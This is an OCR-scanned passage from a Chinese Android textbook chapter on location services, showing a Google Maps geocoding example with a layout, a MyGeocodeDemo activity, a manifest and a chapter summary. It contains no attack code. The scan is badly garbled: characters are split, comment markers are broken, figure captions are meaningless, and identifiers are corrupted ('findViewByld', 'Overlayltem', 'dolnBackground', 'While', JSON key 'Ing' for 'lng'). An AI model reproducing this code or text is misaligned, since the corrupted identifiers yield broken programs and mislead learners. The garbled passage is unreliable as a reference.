android:id="@+id/search" // 组 件 ID， 程 序 中 使 用 


android:layout_width="wrap_content” ”// 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content” ”// 组 件 高 度 为 文字 高 度 


android:text=" 胡 完 局 这 售 请"/> //! 默 认 显示 文字 
</TableRow> // 表 格 行 完结 
</TableLayout> // 表 格 布局 完结 
<com.google.android.maps.MapView /定义 MapView 组 件 
android:id="@+id/mapview”" /组件 ID， 程 序 中 使 用 
android:clickable="true” // 允 许 拖 搜 地 图 
android:enabled="true” // 正 常 开启 地 图 
android:layout_width="fil_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="fill_parent” // 组 件 高 度 为 屏幕 高 度 


676 


第 13 章 定位 服务 


android:apiKey="0iYOAdVaszVJc0_-BkgatB-3xGtXsGdlv2PKKsg" /> // 生 成 的 密 钥 
</LinearLayout> 


本 程序 定义 了 一 个 文本 输入 框 〈 为 了 操作 方便 将 查找 的 位 置 默认 为 “天 安 门 ”) ， 而 后 在 查 
找 操作 下 定义 了 一 个 MapView， 以 在 地 图 上 方便 地 进行 标记 。 本 程序 的 显示 效果 如 图 13-38 所 示 。 


国 5s554- Android_GPS 


革 明 间 4:39| 


检索 周边 信息 | 


| 


和 四 
Goosle 


图 13-38 布局 管理 器 显示 效果 


【 例 13-29】 定义 Activity 程序 ， 实 现 位 置 查找 (分 段 列 出 》 
package org.Ixh.demo; 
import java.net.URL; 
import java.net.URLEncoder; 
import java.util.HashMap; 
import java.util.Map; 
import java.util.Scanner; 
import org.json.JSONArray; 
import org.json.JSONObject; 
import android.graphics.drawable.Drawable; 
import android.os.AsyncTask; 
import android.os.Bundle; 
import android.view.View; 
import android.view.View.OnClickListener:; 
import android.widget.Button; 
import android.widget.EditText; 
import com.google.android.maps.GeoPoint; 
import com.google.android.maps.MapActivity; 
import com.google.android.maps.MapView; 
import com.google.android.maps.Overlayltem; 


public class MyGeocodeDemo extends MapActivity { /继承 MapActivity 
private Button search = null; /按钮 组 件 
private EditText msg = null; /定义 文字 显示 组 件 
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private MapView mapView = null ; // 地 图 组 件 

@Override 

public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); /定义 布局 管理 器 
this.mapView = (MapView) super.findViewByld(R.id.mapview) ; // 取 得 组 件 
this.search = (Button) super.findViewByld(R.id.search); // 取 得 组 件 
this.msg = (EditText) super.findViewByld(R.id.msg); // 取 得 组 件 


this.search.setOnClickListener(new SearchOnClickListenerImpl()); /设置 监听 事件 
由 于 本 程序 要 在 地 图 上 进行 坐标 的 标记 ， 所 以 直接 继承 了 MapActivity 类 ， 而 后 使 
findViewById( 方 法 取得 各 个 操作 的 组 件 。 
private class SearchAsyncTask extends AsyncTask<Integer, String, Integer> {// 异 步 


private String location ; 
public SearchAsyncTask(String location) { /设置 数据 
this .location = location ; 


1 
@Override 
protected void onProgressUpdate(String... progress) { /每 次 更 新 之 后 的 数值 
GeoPoint point = new GeoPoint((int) (Double.parseDouble(progress[0]) * 1E6), 
(int) (Double.parseDouble(progress[1]) * 1E6)); // 封 装 纬 度 和 经 度 
Overlayltem overlayltem = 
new Overlayltem(point, "您 的 位 置 ! "， 
progress[2]); // 包 装 坐标 点 
Drawable drawable = MyGeocodeDemo.this.getResources() 
.getDrawable(R.drawable.arrow); // 取 得 标记 资源 
MyOverlayImpl mol = new MyOverlayImpl(drawable,MyGeocodeDemo.this) ;// 图 层 
mol.addOverlayltem(overlayltem) ; /增加 一 个 图 层 项 
MyGeocodeDemo.this.mapView.getOverlays().add(mol) ; 
MyGeocodeDemo.this.mapView.setBuiltInZoomControls(true) /可 以 缩放 
MyGeocodeDemo.this.mapView.getController().animateTo(point);// 设 置 坐 标点 动画 
} 
@Override 
protected Integer dolnBackground(Integer... params) { 
Map<String, String> map = null; // 定 义 Map 集合 
try{ 
map = this.parseJson(this.location); // 解 析 数 据 
} catch (Exception e) { 
e.printStackTrace() ; 
} 
if ("OK".equals(map.get("status"))) { // 判 断 状态 
this.publishProgress(map.get("latitude"), map.get("longitude"), 
map.get("address")); // 取 出 地 址 信息 
}else{ 
this.publishProgress(map.get(" 没 有 查询 结果 ! ")); // 没 有 结果 
} 
return null; 
} 
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public Map<String, String> parseJson(String location) 


throws Exception { /解析 JSON 数据 
Map<String, String> allMap = new HashMap<String, String>(); /定义 Map 集合 
StringBuffer buf = new StringBuffer(); / 读 取 数据 
InputStream input = null ; // 输 入 流 
try{ 

URL url = new URL( 

"http://maps.google.com.cn/maps/api/geocode/json?address=" 
+ URLEncoder.encode(location, "UTF-8") 
+ "&sensor=false"); /1/ 地 址 

input = url.openStream() ; // 取 得 输入 流 

Scanner scan = new Scanner(url.openStream()); /实例 化 Scanner 

While (scan.hasNext()) { 

buf.append(scan.next()); // 保 存 数据 

) 

scan.close(); // 关 闭 输入 流 
} catch (Exception e){ 

throw e ; // 抛 出 异常 
} finally { 

input.close() ; // 关 闭 输入 流 
} 
JSONObject allData = new JSONObject(buf.toString()); /定义 JSONObject 
allMap.put("status", allData.getString("status")); // 取 出 并 设置 status 
JSONArray jsonArr = allData.getJSONArray("results"); /取出 JSONArray 
JSONObject jsonObj = jsonArr.getJSONObject(0); // 取 得 一 个 JSONObject 


allMap.put("address", jsonObj.getString("formatted_address")); // 保 存 数据 
JSONObject locationJsonObj = jsonObj.getJSONObject("geometry") 


.getJSONObject("location"); /取得 location 
allMap.put("latitude", locationJsonObj.getString("lat")) ; // 取 得 纬度 
allMap.put("longitude", locationJsonObj.getString("Ing")) ; // 取 得 经 度 
return allMap; // 返 回 全 部 记录 


} 
) 
由 于 这 种 查询 网 络 的 方式 需要 消耗 大 量 的 时 间 ， 所 以 在 本 程序 中 依然 把 这 种 耗 时 的 操作 交 
给 了 异步 处 理 类 去 完成 ， 当 查询 完成 后 会 实例 化 MyOverlayImpl 类 的 对 象 ， 同 时 登 加 在 地 图 层 
上 进行 位 置 的 标注 。 
parseJson() 方 法 的 功能 与 上 一 程序 类 似 ， 但 由 于 JSON 数据 格式 发 生 了 改变 ， 所 以 解析 的 方 
式 也 有 了 一 些 区 别 ， 但 是 在 通过 位 置 查询 坐标 时 一 定 要 注意 的 是 ， 如 果 传递 的 是 中 文 必须 使 
URLEncoder 进行 编码 ， 和 否则 将 无 法 查询 到 所 需要 的 结果 。 
private class SearchOnClickListenerImpl implements OnClickListener { // 单 击 
@Override 
public void onClick(View view) { 
String msg = MyGeocodeDemo.this.msg.getText().toString() ; // 取 得 地 点 名 称 
new SearchAsyncTask(msg).execute(0); // 启 动 异 步 任务 


} 


} 
@Override 
protected boolean isRouteDisplayed() { 
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return false; 


hb 


} 
本 程序 为 单 击 事件 的 处 理 操作 类 ， 当 用 户 单 击 按钮 之 后 将 使 用 异步 处 理 类 去 查询 坐标 位 置 。 
【 例 13-30】 修改 AndroidManifestxml 文件 ， 配 置 权限 
<?xml version="1.0" encoding="utf-8"?> 
<manifest xmlIns:android="http:/schemas.android.com/apk/res/android” 
package="org.lxh.demo” android:versionCode="1" android:versionName= "1.0> 


<uses-sdk android:minSdkVersion="10"/> /使 用 的 SDK 版 本 

<application // 配 置 应 用 程序 
android:icon="@drawable/icon" // 程 序 的 图 标 
android:label="@string/app_name"> // 程 序 名 称 
<activity /定义 Activity 程序 


android:name="MyGeocoaeDemo" // 程 序 所 在 类 
android:label="@string/app_name”> // 程 序 名 称 
<intent-filter> /启动 时 运行 
<action android:name="android.intent.action.MAIN" /> 
<category android:name="android.intent.category.LAUNCHER" /> 
</intent-filter> 
</activity> 
<uses-library // 配 置 Google Map 操作 库 
android:name="com.google.android.maps" /> 
</application> 


<uses-permission // 配 置 网 络 访问 权限 
android:name="android.permission.INTERNET" /> 
</manifest> 


旦 序 开发 完成 之 后 ， 如 果 查 询 位 置 为 “天 安 门 ”， 界 面 的 显示 如 图 13-39 所 示 ; 如 果 查 询 位 
置 为 NEWYORK， 界 面 的 显示 如 图 13-40 所 示 。 
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图 13-39 查询 天 安 门 坐 标 图 13-40 查询 NEWYORK 坐标 


680 


定位 服务 


志 


可 


如 


13.7 本 章 小 结 


(1) 要 想 使 用 Google Map 进行 开发 ， 则 创建 项 目 时 一 定 要 选择 支持 Google APIs 的 SDK。 

(2) 使 用 LocationManager 可 以 实现 对 用 户 所 处 位 置 的 坐标 监听 。 

(3) 要 想 在 手机 上 显示 Google Map， 则 需要 向 Google 申请 服务 。 

(4) 在 一 个 地 图 上 可 以 设置 多 个 地 图 层 (Overlay) ， 用 户 可 以 通过 ItemizedOverlay 类 手 
工 标记 ， 也 可 以 使 用 MyLocationOverlay 类 自动 标记 。 

(5) 要 想 实现 位 置 与 坐标 的 相互 转换 ， 可 以 利用 Google 的 Geocode 服务 完成 。 
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